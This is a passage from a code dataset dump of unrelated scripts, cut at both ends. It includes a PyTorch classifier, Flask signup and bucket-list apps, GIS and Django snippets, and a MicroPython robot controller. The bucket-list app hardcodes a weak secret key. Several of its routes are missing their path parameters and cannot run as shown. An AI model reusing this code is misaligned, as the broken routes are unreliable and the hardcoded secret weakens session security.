'Tunisia',\n\t\t\t\t\t\t# 'Turkey',\n\t\t\t\t\t\t# 'Turkmenistan',\n\t\t\t\t\t\t# 'UK',\n\t\t\t\t\t\t# 'US NES',\n\t\t\t\t\t\t# 'USA',\n\t\t\t\t\t\t# 'Uganda',\n\t\t\t\t\t\t# 'Ukraine',\n\t\t\t\t\t\t# 'Untd Arab Em',\n\t\t\t\t\t\t# 'Uruguay',\n\t\t\t\t\t\t# 'Uzbekistan',\n\t\t\t\t\t\t# 'Venezuela',\n\t\t\t\t\t\t# 'Viet Nam',\n\t\t\t\t\t\t# 'World',\n\t\t\t\t\t\t# 'Yemen',\n\t\t\t\t\t\t# 'Yugoslavia',\n\t\t\t\t\t\t# 'Zambia',\n\t\t\t\t\t\t# 'Zimbabwe',\n\t\t\t\t\t}\t\t\n\nCountryCodeToISO3C = {\n\t\t\n\t\t# This needs a unique list of global countrycodes from the dataset - #\n\n\t\t# - Working Here - #\n}\n\n# - Note: The following are Subsets of Above and Can be COMPUTED - #\n\nExporterISO3C = {}\n\n# - Importers to ISO3C - #\n\nImporterToISO3C = {}\n\n# - Country Code Concordances - #\n\necodeToISO3C = {}\n\nicodeToISO3C = {}","sub_path":"pyeconlab/trade/dataset/NBERWTF/concordance.py","file_name":"concordance.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351895767","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[16]:\n\n\n# !/usr/bin/env python\n# coding: utf-8\n\n# In[78]:\n\n\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torchvision.datasets import ImageFolder\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport numpy as np\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\nimport os\nimport copy\n\n\n\n#To determine if your system supports CUDA\nprint(\"==> Check devices..\")\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\nprint(\"Current device: \",device)\n\n#Also can print your current GPU id, and the number of GPUs you can use.\nprint(\"Our selected device: \", torch.cuda.current_device())\nprint(torch.cuda.device_count(), \" GPUs is available\")\n\n\n\nprint('==> Preparing dataset..')\n\n\"\"\"1.1\"\"\"\n# The output of torchvision datasets are PILImage images of range [0, 1]\n# We transform them to Tensor type\n# And normalize the data\n# Be sure you do same normalization for your train and test data\n\n#The transform function for train data\n\n\ndata_transforms = {\n 'skewed_training': transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n 'validation': transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]), \n 'evaluation': transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n}\n\n\n\"\"\"1.2\"\"\" \n\ndata_dir = 'food11re'\nimage_datasets = {x: datasets.ImageFolder(os.path.join(data_dir, x),\n data_transforms[x])\n for x in ['skewed_training','validation','evaluation']}\ndataloaders = {x: torch.utils.data.DataLoader(image_datasets[x], batch_size=4,\n shuffle=True, num_workers=2)\n for x in ['skewed_training','validation','evaluation']}\ndataset_sizes = {x: len(image_datasets[x]) for x in ['skewed_training','validation','evaluation']}\nclass_names = image_datasets['skewed_training'].classes\n\n\nprint('==> Building model..')\n\ndef train_model(model, criterion, optimizer, scheduler, num_epochs=25):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n loss_values = []\n acc_values = []\n patient = 5\n j = 0\n end = 0\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['skewed_training', 'validation']:\n if phase == 'skewed_training':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data.\n for inputs, labels in dataloaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'skewed_training'):\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n if phase == 'skewed_training':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n if phase == 'skewed_training':\n scheduler.step()\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n \n if phase == 'validation':\n loss_values.append(epoch_loss)\n acc_values.append(epoch_acc)\n # deep copy the model\n if epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n j = 0\n else:\n j += 1\n if j == patient:\n end = 1\n\n print()\n if end == 1:\n break\n plt.figure()\n plt.subplot(1,2,1)\n plt.rcParams[\"figure.figsize\"] = (8, 4)\n plt.xlabel(\"epochs\")\n plt.ylabel(\"loss\")\n plt.title(\"lr=0.001, step_size=7(loss)\")\n plt.plot(np.array(loss_values), 'r')\n plt.subplot(1,2,2)\n plt.rcParams[\"figure.figsize\"] = (8, 4)\n plt.xlabel(\"epochs\")\n plt.ylabel(\"accuracy\")\n plt.title(\"lr=0.001, step_size=7(accuracy)\")\n plt.plot(np.array(acc_values), 'r')\n plt.show()\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Best val Acc: {:4f}'.format(best_acc))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\n\nmodel_ft = models.resnet18(pretrained=True)\n\nnum_ftrs = model_ft.fc.in_features\n# Here the size of each output sample is set to 2.\n# Alternatively, it can be generalized to nn.Linear(num_ftrs, len(class_names)).\nmodel_ft.fc = nn.Linear(num_ftrs, 11)\n\nmodel_ft = model_ft.to(device)\n\ncriterion = nn.CrossEntropyLoss()\n\n# Observe that all parameters are being optimized\noptimizer_ft = optim.SGD(model_ft.parameters(), lr=0.001, momentum=0.9)\n\n# Decay LR by a factor of 0.1 every 7 epochs\nexp_lr_scheduler = lr_scheduler.StepLR(optimizer_ft, step_size=7, gamma=0.1)\n\n\nmodel_ft = train_model(model_ft, criterion, optimizer_ft, exp_lr_scheduler,\n num_epochs=25)\n\n\nPATH = 'lab1\\lab1_model.pht'\ntorch.save(model_ft.state_dict(), PATH)\n\n\nclass_correct = list(0. for i in range(11))\nclass_total = list(0. for i in range(11))\ncorrect_top3 = 0.\nwith torch.no_grad():\n for data in dataloaders['evaluation']:\n images, labels = data[0].to(device), data[1].to(device)\n outputs = model_ft(images)\n _, predicted = torch.max(outputs, 1)\n _, predicted_top3 = outputs.topk(3, dim=1, largest=True, sorted=True)\n c = (predicted == labels).squeeze()\n c_top3_0 = (predicted_top3[:,0] == labels).squeeze()\n c_top3_1 = (predicted_top3[:,1] == labels).squeeze()\n c_top3_2 = (predicted_top3[:,2] == labels).squeeze()\n if(labels.size()==torch.Size([4])):\n for i in range(4):\n class_correct[labels[i]] += c[i].item()\n class_total[labels[i]] += 1\n correct_top3 += c_top3_0[i].item()\n correct_top3 += c_top3_1[i].item()\n correct_top3 += c_top3_2[i].item()\n else:\n for i in range(3):\n class_correct[labels[i]] += c[i].item()\n class_total[labels[i]] += 1\n correct_top3 += c_top3_0[i].item()\n correct_top3 += c_top3_1[i].item()\n correct_top3 += c_top3_2[i].item()\n\ntotal_correct = 0.\nfor i in range(11):\n total_correct+=class_correct[i]\n\nprint('Test set: Top1 Accuracy: %d/%d (%2d %%) , Top3 Accuracy: %d/%d (%2d %%)' % (\n total_correct,dataset_sizes['evaluation'], 100 * total_correct / dataset_sizes['evaluation'],\n correct_top3,dataset_sizes['evaluation'], 100 * correct_top3 / dataset_sizes['evaluation']))\n \nfor i in range(11):\n print('class %s : %d/%d %2d %%' % (\n class_names[i],class_correct[i],class_total[i], 100 * class_correct[i] / class_total[i]))\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"lab3/3-1a.py","file_name":"3-1a.py","file_ext":"py","file_size_in_byte":8208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"544999023","text":"from cs50 import SQL\nfrom flask import Flask, flash, redirect, render_template, request, session\nfrom flask_session import Session\nfrom tempfile import mkdtemp\nfrom werkzeug.exceptions import default_exceptions\n\nfrom helpers import apology, lookup\n\n# Configure application\napp = Flask(__name__)\n\n# Ensure responses aren't cached\nif app.config[\"DEBUG\"]:\n @app.after_request\n def after_request(response):\n response.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n response.headers[\"Expires\"] = 0\n response.headers[\"Pragma\"] = \"no-cache\"\n return response\n\n# Configure session to use filesystem (instead of signed cookies)\napp.config[\"SESSION_FILE_DIR\"] = mkdtemp()\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\nSession(app)\n\n# Configure CS50 Library to use SQLite database\ndb = SQL(\"sqlite:///signup.db\")\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return render_template(\"index.html\")\n\n\n@app.route(\"/events\", methods=[\"GET\"])\ndef events():\n return render_template(\"events.html\")\n\n\n@app.route(\"/founders\", methods=[\"GET\"])\ndef founders():\n return render_template(\"founders.html\")\n\n\n@app.route(\"/mission\", methods=[\"GET\"])\ndef mission():\n return render_template(\"mission.html\")\n\n\n@app.route(\"/donate\", methods=[\"GET\"])\ndef donate():\n return render_template(\"donate.html\")\n\n\n@app.route(\"/info\", methods=[\"GET\"])\ndef info():\n return render_template(\"info.html\")\n\n\n@app.route(\"/confirmed\", methods=[\"GET\"])\ndef confirmed():\n return render_template(\"confirmed.html\")\n\n\n@app.route(\"/recipe\", methods=[\"GET\", \"POST\"])\ndef recipe():\n \"\"\"Returns recipe list\"\"\"\n if request.method == \"POST\":\n ing = request.form.get(\"ing\")\n if not ing:\n return apology(\"Missing Ingredient!\")\n values = lookup(ing)\n return render_template(\"recipe.html\", values=values)\n\n else:\n return render_template(\"recipe.html\")\n\n\n@app.route(\"/emailregister\", methods=[\"GET\", \"POST\"])\ndef emailregister():\n \"\"\"Register email for user\"\"\"\n if request.method == \"POST\":\n name = request.form.get(\"name\")\n email = request.form.get(\"email\")\n confirmation_email = request.form.get(\"confirmation\")\n if not name:\n return apology(\"Missing Name!\")\n\n if not email:\n return apology(\"Missing Email!\")\n\n if email[(len(email) - 9):] != \"@yale.edu\":\n return apology(\"Please Enter a Yale Email!\")\n\n if not confirmation_email:\n return apology(\"Missing Confirmation Email!\")\n\n if email != confirmation_email:\n return apology(\"Email and Confirmation Email Do Not Match!\")\n\n result = db.execute(\"INSERT INTO email (email, name) VALUES(:email, :name)\",\n email=request.form.get(\"email\"), name=request.form.get(\"name\"))\n if not result:\n # the email already exists in the database\n return apology(\"Please enter a different email as the one entered has already been taken\")\n return redirect(\"/confirmed\")\n\n # User reached route via GET (as by clicking a link or via redirect)\n else:\n return render_template(\"emailregister.html\")\n\n\ndef errorhandler(e):\n \"\"\"Handle error\"\"\"\n return apology(e.name, e.code)\n\n\n# listen for errors\nfor code in default_exceptions:\n app.errorhandler(code)(errorhandler)\n","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"66312482","text":"from datetime import time, date\nfrom time import strftime, gmtime\n\nfrom flask import Flask, render_template, \\\n request, redirect, url_for, session, flash\nfrom classes.user import User\nfrom classes.bucket import Bucket\nfrom classes.item import Item\nfrom classes.app import App\n\napp = Flask(__name__)\napp.secret_key = 'MySecretKey'\nall_items = []\ncurrent_user = None\nbucketApp = App()\n\n\n@app.route('/', methods=['GET'])\ndef index():\n return render_template('index.html')\n\n\n@app.route('/signUp', methods=['POST'])\ndef sign_up():\n \"\"\"\n Signs up user to the app\n \"\"\"\n # Pick form values\n name = request.form['name']\n email = request.form['email']\n password = request.form['password']\n # create user\n global current_user\n current_user = User(email, password, name)\n session['id'] = bucketApp.sign_up(current_user)\n # start session\n if session['id']:\n return redirect(url_for('buckets'))\n else:\n return render_template('index.html', error='Email already exists')\n\n\n@app.route('/signIn', methods=['POST', 'GET'])\ndef sign_in():\n \"\"\"\n Signs in user to their account\n \"\"\"\n if request.method == 'POST':\n # Pick form values\n email = request.form['email']\n password = request.form['password']\n user = User(email, password)\n # start session\n session['id'] = bucketApp.sign_in(user)\n\n if session['id']:\n global current_user\n user = [user for user in bucketApp.all_users\n if user.id == session['id']]\n current_user = user[0]\n\n return redirect(url_for('buckets'))\n return render_template('signIn.html',\n error='Invalid username or password')\n else:\n return render_template('signIn.html')\n\n\n@app.route('/signOut')\ndef sign_out():\n \"\"\"\n Signs out user\n \"\"\"\n session.pop('id', None)\n return redirect(url_for('sign_in'))\n\n\n@app.route('/buckets')\ndef buckets():\n \"\"\" \n Returns list of all buckets \n \"\"\"\n\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n global current_user\n return render_template('buckets.html',\n buckets=current_user.get_buckets())\n\n\n@app.route('/create_bucket', methods=[\"POST\"])\ndef create_bucket():\n \"\"\"\n Creates a new bucket list \n \"\"\"\n\n # Check user is signed in\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n # Pick form values\n bucket_name = request.form['bucket-name']\n description = request.form['description']\n # create bucket\n new_bucket = Bucket(bucket_name, description, session['id'])\n global current_user\n if current_user.create_bucket(new_bucket):\n return redirect(url_for('buckets'))\n flash('Bucket name already exists')\n return redirect(url_for('buckets'))\n\n\n@app.route('/edit_bucket/', methods=['POST'])\ndef edit_bucket(bucket_name):\n \"\"\"\n Edits attributes of a bucket\n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n new_bucket_name = request.form['bucket-name']\n new_description = request.form['description']\n global current_user\n current_user.edit_bucket(bucket_name,\n new_bucket_name, new_description)\n return redirect(url_for('single_bucket',\n bucket_name=new_bucket_name))\n\n\n@app.route('/buckets/')\ndef single_bucket(bucket_name):\n \"\"\"\n Returns a single bucket with a given name\n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n global current_user\n bucket = current_user.get_single_bucket(bucket_name)\n return render_template('items.html',\n bucket_name=bucket_name,\n bucket_items=bucket.items,\n bucket_desc=bucket.description)\n\n\n@app.route('/del_bucket/')\ndef delete_bucket(bucket_name):\n \"\"\"\n Deletes a bucket from bucket list\n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n global current_user\n current_user.delete_bucket(bucket_name)\n return redirect(url_for('buckets'))\n\n\n@app.route('/create_item/', methods=['POST'])\ndef create_item(bucket_name):\n \"\"\"\n Creates a bucket\n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n item_name = request.form['item-name']\n date_added = strftime(\"%Y-%m-%d\", gmtime())\n new_item = Item(item_name, date_added)\n global current_user\n current_user.add_item(bucket_name, new_item)\n return redirect(url_for('single_bucket',\n bucket_name=bucket_name))\n\n\n@app.route('/edit_item//'\n '', methods=['POST', 'GET'])\ndef edit_item(item_name, bucket_name):\n \"\"\"\n Edits an item in a given bucket\n :param item_name: \n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n if request.method == 'POST':\n new_item_name = request.form['item-name']\n status = False\n if 'status' in request.form:\n status = request.form['status']\n global current_user\n current_user.edit_item(bucket_name, item_name,\n new_item_name, status)\n return redirect(url_for('single_bucket',\n bucket_name=bucket_name))\n else:\n item = current_user.get_single_item(bucket_name, item_name)\n return render_template('edit-item.html',\n bucket_name=bucket_name,\n activity_name=item_name,\n status=item.status)\n\n\n@app.route('/del_item//'\n '')\ndef del_item(item_name, bucket_name):\n \"\"\"\n Deletes an item from a bucket\n :param item_name: \n :param bucket_name: \n \"\"\"\n if 'id' not in session:\n return redirect(url_for('sign_in'))\n global current_user\n current_user.delete_item(bucket_name, item_name)\n return redirect(url_for('single_bucket',\n bucket_name=bucket_name))\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"BucketList.py","file_name":"BucketList.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349975660","text":"from datetime import datetime\n\ndef print_time(task_name):\n time = datetime.now()\n print(f'\\'{task_name}\\' completed in {time}')\n\n# Parameters might have a default value, in this case, 'force_uppercase' is 'True' by default\ndef get_initial(word, force_uppercase = True):\n if force_uppercase:\n initial = word[:1].upper()\n else: \n initial = word[:1]\n\n return initial\n\nfor name in ['rafael', 'joao']:\n # Parameters can be passed to a function using named notation, simply type the parameter name and set it equals to the value you want to pass\n # in this case, get_initial(force_uppercase=True, word=name)\n initial = get_initial(force_uppercase=True, word=name)\n print(f'{name} with initial {initial}')\n \nprint_time('for loop')","sub_path":"class-9/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174754534","text":"import os\nimport warnings\n\nimport osmnx as ox\nimport pandas as pd\nfrom osgeo import osr, ogr\n\nwarnings.filterwarnings('ignore')\n\nplaces = [\"Пермь\", \"Екатеринбург\", \"Челябинск\", \"Омск\", \"Самара\", \"Санкт-Петербург\", \"Москва\"]\n\nresult_dataframe = pd.DataFrame(\n columns=[\"building\", \"building:levels\", \"area\", \"horizontal_len\", \"vertical_len\", \"poly_shapes_count\"])\n\n\ndef get_data_from_polygon(geometry):\n json = {'type': 'Polygon',\n 'coordinates': [list(geometry.exterior.coords)]}\n\n source = osr.SpatialReference()\n source.ImportFromEPSG(4326)\n target = osr.SpatialReference()\n target.ImportFromEPSG(5243)\n\n transform = osr.CoordinateTransformation(source, target)\n poly = ogr.CreateGeometryFromJson(str(json).replace('(', '[').replace(')', ']'))\n poly.Transform(transform)\n x1, x2, y1, y2 = poly.GetEnvelope()\n h_len, v_len, area = abs(x2 - x1), abs(y2 - y1), poly.GetArea()\n return area, h_len, v_len\n\n\nfor place in places:\n print(place)\n data = ox.footprints_from_place(place)\n data = data[['building', 'building:levels', 'geometry']]\n data = data.reset_index(drop=True)\n\n idx_for_drop = []\n data[\"area\"], data[\"horizontal_len\"], data[\"vertical_len\"], data[\"poly_shapes_count\"] = None, None, None, None\n for index, element in data.iterrows():\n try:\n data[\"area\"][index], data[\"horizontal_len\"][index], data[\"vertical_len\"][index] = get_data_from_polygon(\n element.geometry)\n data[\"poly_shapes_count\"][index] = element.geometry.exterior.coords.__len__()\n except Exception:\n pass\n data = data.drop(['geometry'], axis=1)\n result_dataframe = result_dataframe.append(data)\n result_dataframe = result_dataframe.reset_index(drop=True)\n result_dataframe.to_csv(os.path.join('..', 'data', 'data.csv'), index=False)\n","sub_path":"1st_task/model_training/create_train_dataset.py","file_name":"create_train_dataset.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138739084","text":"from django import forms\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import IntegerField\nfrom django.db.models.functions import Cast\nfrom .services import *\nfrom area.services import *\nfrom area.models import Owner, Room\nfrom .models import CounterValue, CounterType\n\n\n# =========================== Форма отправки показания счетчика услуг ==============================\nclass OwnerModelChoiceField(forms.ModelChoiceField):\n def label_from_instance(self, obj):\n return '%s' % obj.room\n\n\nclass SendCounterValueForm(forms.ModelForm):\n room = forms.ModelChoiceField(label=\"Номер помещения\", queryset=None)\n type = forms.ModelChoiceField(label=\"Тип счетчика\", queryset=None)\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user', None)\n self.room = None\n self.date = datetime.date.today()\n super(SendCounterValueForm, self).__init__(*args, **kwargs)\n self.fields['room'].queryset = Room.objects.filter(number__in=[item.room.number for item in\n owner_requests_history(self.user, active=True)])\n self.fields['type'].queryset = list_active_counters()\n\n def clean(self):\n cleaned_data = super(SendCounterValueForm, self).clean()\n # Проверим дату приема показаний\n if not check_actual_counter_period(cleaned_data['type']):\n start, end = get_counter_period(cleaned_data['type'])\n raise ValidationError('Период приема показаний установлен с {0} по {1} число месяца'.format(start, end))\n # Проверим на наличие ранее введенных показаний счетчика\n if not check_value_duplication(cleaned_data['room'], cleaned_data['type'], datetime.date.today()):\n raise ValidationError('Показания счетчика для данного месяца уже существуют')\n # Проверим на приращение счетчика\n if not check_value_increment(cleaned_data['room'], cleaned_data['type'],\n datetime.date.today(), cleaned_data['value']):\n raise ValidationError('Показания счетчика должны быть больше чем предыдущее значение')\n\n return cleaned_data\n\n class Meta:\n model = CounterValue\n fields = ['room', 'type', 'value']\n","sub_path":"counter/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"542726736","text":"class Solution:\n def inOrder(self, root, wrapper):\n if root:\n self.inOrder(root.left, wrapper)\n wrapper[1].append(root.val)\n if len(wrapper[1]) == 2:\n tmp = wrapper[1][1] - wrapper[1][0]\n if tmp int:\n # wrapper = [minVal, two consecutive val]\n wrapper = [float('inf'),[]]\n self.inOrder(root, wrapper)\n return wrapper[0]\n","sub_path":"LeetCode/783. Minimum Distance Between BST Nodes.py","file_name":"783. Minimum Distance Between BST Nodes.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"439206995","text":"import os\r\nimport tensorflow as tf\r\nfrom tensorflow.core.framework import graph_pb2\r\nfrom tensorflow.python.framework import importer\r\n\r\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\r\n\r\npb_path = 'E:/ucf50_train/yt8m2/v2/models/frame/sample_model/export/step_10/saved_model.pb'\r\n\r\nrun_meta = tf.RunMetadata()\r\nwith tf.Graph().as_default():\r\n output_graph_def = graph_pb2.GraphDef()\r\n with open(pb_path, \"rb\") as f:\r\n output_graph_def.ParseFromString(f.read())\r\n _ = importer.import_graph_def(output_graph_def, name=\"\")\r\n print('model loaded!')\r\n all_keys = sorted([n.name for n in tf.get_default_graph().as_graph_def().node])\r\n # for k in all_keys:\r\n # print(k)\r\n\r\n with tf.Session() as sess:\r\n flops = tf.profiler.profile(tf.get_default_graph(), run_meta=run_meta,\r\n options=tf.profiler.ProfileOptionBuilder.float_operation())\r\n print(\"test flops:{:,}\".format(flops.total_float_ops))","sub_path":"video_classficationucf50/pbfile.py","file_name":"pbfile.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115362691","text":"import os\nimport shutil\nimport sys\nimport unittest\nfrom os.path import dirname\n\nimport numpy as np\n\nfrom jina.proto import jina_pb2\nfrom jina.types.document import uid\nfrom jina.types.ndarray.generic import NdArray\n\n\nclass JinaTestCase(unittest.TestCase):\n\n def setUp(self) -> None:\n self.tmp_files = []\n os.environ['TEST_WORKDIR'] = os.getcwd()\n\n def tearDown(self) -> None:\n for k in self.tmp_files:\n if os.path.exists(k):\n if os.path.isfile(k):\n os.remove(k)\n elif os.path.isdir(k):\n shutil.rmtree(k, ignore_errors=False, onerror=None)\n\n def add_tmpfile(self, *path):\n self.tmp_files.extend(path)\n\n\nfile_dir = os.path.dirname(__file__)\nsys.path.append(dirname(file_dir))\n\n\ndef random_docs(num_docs, chunks_per_doc=5, embed_dim=10, jitter=1):\n c_id = 3 * num_docs # avoid collision with docs\n for j in range(num_docs):\n d = jina_pb2.DocumentProto()\n d.tags['id'] = j\n d.text = b'hello world'\n NdArray(d.embedding).value = np.random.random([embed_dim + np.random.randint(0, jitter)])\n d.id = uid.new_doc_id(d)\n for k in range(chunks_per_doc):\n c = d.chunks.add()\n c.text = 'i\\'m chunk %d from doc %d' % (c_id, j)\n NdArray(c.embedding).value = np.random.random([embed_dim + np.random.randint(0, jitter)])\n c.tags['id'] = c_id\n c.tags['parent_id'] = j\n c_id += 1\n c.parent_id = d.id\n c.id = uid.new_doc_id(c)\n yield d\n\n\ndef rm_files(file_paths):\n for file_path in file_paths:\n if os.path.exists(file_path):\n if os.path.isfile(file_path):\n os.remove(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path, ignore_errors=False, onerror=None)\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"283977879","text":"\"\"\"\n0.8.1 -using uasyncio\n suits firmware versions 2018 04 +\n0.8.4.1 - uses JSON for commands and settings\n MishaDesign - with LEDs\n\"\"\"\n\ntry:\n import uasyncio as asyncio\n import machine\n import ure as re\n import ujson as json\n import utime as time\n import sys\n import network\n print('DBG: import microlibs libraries successful')\nexcept ImportError:\n raise SystemExit\n\nLONG_SLEEP = 3\nSHORT_SLEEP = 1\nBLINK_SLEEP = 0.3\n\nrobot_ip = '192.168.4.1'\n\nsta_if = network.WLAN(network.STA_IF)\n\nif sta_if.active():\n print('sta_if: {}, {}, {}'.format(sta_if.active(), type(sta_if.ifconfig()), sta_if.ifconfig()))\n robot_ip = sta_if.ifconfig()[0]\n print('robot_ip: {}'. format(robot_ip))\n\nprint('Robot IP robot_ip: {}'. format(robot_ip))\n\n# HTML to send to browsers\n# hardcoded ip address html reply\n\nhtml = \"HTTP/1.0 200 OK\\r\\n\\r\\nI Am Robot not Groot\\r\\n\"\n\n# Setup drives\nmotor_a_p = machine.PWM(machine.Pin(5), freq=50)\nmotor_a_m = machine.PWM(machine.Pin(0), freq=50)\nservo_turn_x = machine.PWM(machine.Pin(12), freq=50)\nservo_head_x = machine.PWM(machine.Pin(14), freq=50)\nservo_hand_y = machine.PWM(machine.Pin(13), freq=50)\nservo_catch = machine.PWM(machine.Pin(15), freq=50)\nnetwork_pin = machine.Pin(2, machine.Pin.OUT)\n# headlight = machine.Pin(16, machine.Pin.OUT)\nhall_sensor = machine.Pin(4, machine.Pin.IN, machine.Pin.PULL_UP)\n\n\nrobot_settings = {}\nrobot_settings_file = 'settings.txt'\n\nrobot_settings_defaults = {\n 'DEBUG_ENABLE': True,\n 'robot_ip': '192.168.4.1',\n 'servo_min': 40,\n 'servo_max': 115,\n 'servo_center': 77,\n 'gear_factor': 5,\n 'HOLD_LOOSE_TIMEOUT': 5,\n}\n\nrobot_busy = False\n\n# # compile regex\n# # compile re number\n# float_number = re.compile(\"0\\.(\\d+)\")\n# r_number = re.compile(\"(\\d+)\")\n\n# compile regex for commands\nr_settings = re.compile(\"settings=({.*})\")\nr_run = re.compile(\"run=({.*})\")\n\n\ndef give_up():\n servo_head_x.duty(75)\n servo_hand_y.duty(40)\n network_pin.on()\n motor_a_p.duty(0)\n # print('DBG: # give_up')\n\n\ndef move_servo(servo, duty='77', forward=True, speed=1):\n # servo_start_pos = robot_settings['servo_min']\n # servo_end_pos = robot_settings['servo_max']\n # servo_center_pos = robot_settings['servo_center']\n\n # # use for while robot_settings_defaults\n servo_start_pos = robot_settings_defaults['servo_min']\n servo_end_pos = robot_settings_defaults['servo_max']\n servo_center_pos = robot_settings_defaults['servo_center']\n\n print('DBG move_servo: {}, duty: {}, forward: {}, speed: {}'\n ''.format(str(servo), str(duty), str(forward), str(speed)))\n\n try:\n duty_int = int(duty)\n if forward:\n servo.duty(duty_int)\n else:\n servo.duty(servo_start_pos + servo_end_pos - duty_int)\n except Exception as e:\n print('Error while move_servo {}, {}'.format(type(e), e))\n\n\ndef headx(key): # straight\n move_servo(servo_head_x, duty=key)\n\n\ndef handy(key): # inverted\n move_servo(servo_hand_y, duty=key, forward=False)\n\n\ndef turnx(key): # inverted\n move_servo(servo_turn_x, duty=key, forward=False)\n\n\ndef runy(key): # straight\n try:\n i_runy = int(key)\n\n if i_runy < 77:\n # m_duty = -70 * robot_settings['gear_factor']\n m_duty = -70 * robot_settings_defaults['gear_factor'] # robot_settings_defaults\n p_duty = int((924 - 12 * i_runy))\n\n elif i_runy == 77:\n m_duty = 0\n p_duty = 0\n else:\n # m_duty = int((i_runy - 70) * 5 * robot_settings['gear_factor'])\n # p_duty = int((i_runy - 70) * 5 * robot_settings['gear_factor'])\n m_duty = int((i_runy - 70) * 5 * robot_settings_defaults['gear_factor']) # robot_settings_defaults\n p_duty = int((i_runy - 70) * 5 * robot_settings_defaults['gear_factor']) # robot_settings_defaults\n\n motor_a_p.duty(p_duty)\n motor_a_m.duty(m_duty)\n except Exception as e:\n print('Error while processing runy: {}, {}'.format(type(e), e))\n\n\ndef catch(key):\n print('DBG runing: {} key: {}'.format('catch', key))\n\n if servo_catch.duty() < 75:\n servo_catch.duty(110)\n else:\n servo_catch.duty(40)\n\n\ndef gear(key):\n print('DBG runing: {} key: {}'.format('gear', key))\n\n\ndef read_settings(file):\n try:\n with open(file, 'r') as f:\n j = json.load(f)\n print('DBG read_settings seems to be OK')\n return j\n except Exception as e:\n print('ERR read_settings from file: {}, '\n ' {}, {}'.format(file, type(e), e))\n return False\n\n\ndef write_settings(j, file='settings.txt'):\n try:\n for item in j:\n print('DBG: json items: 